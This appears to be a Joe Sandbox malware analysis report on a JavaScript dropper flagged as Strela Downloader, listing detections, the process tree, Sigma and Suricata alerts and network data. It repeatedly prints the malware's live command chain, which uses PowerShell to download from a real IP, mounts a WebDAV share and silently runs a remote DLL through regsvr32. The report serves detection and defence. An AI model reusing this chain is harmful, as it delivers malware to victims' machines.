Edit tour

Windows Analysis Report
369248682699819312.js

Overview

General Information

Sample name:	369248682699819312.js
Analysis ID:	1588935
MD5:	c0605e46cf3de590784b42c614db44b8
SHA1:	cc512fa2361d5ef1490a86bd3a2c62fe02209424
SHA256:	58c58e28d6d65eaab2370a4f4fbe8b30d0576dcf0954491432aca1d64cf396b6
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5236 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\369248682699819312.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5060 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 64 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1460 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5812 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5608 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7200 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1528,i,3184005239820778,4629316887729601009,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1340 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4904 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6120 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5236	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5060, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1460, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5060, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1460, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\369248682699819312.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\369248682699819312.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\369248682699819312.js", ProcessId: 5236, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4904, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49732

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\369248682699819312.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5236, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ProcessId: 5060, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\369248682699819312.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5236, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ProcessId: 5060, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\369248682699819312.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5236, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ProcessId: 5060, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\369248682699819312.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5236, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ProcessId: 5060, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\369248682699819312.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5236, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ProcessId: 5060, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\369248682699819312.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\369248682699819312.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\369248682699819312.js", ProcessId: 5236, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5060, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1460, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1340, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4904, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6120, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1340, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4904, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\369248682699819312.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5236, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ProcessId: 5060, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:23:50.524458+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:23:53.210771+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49732	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:23:50.524458+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 369248682699819312.js

Virustotal: Detection: 10%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 369248682699819312.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 369248682699819312.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49711 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49732 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:23:50 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

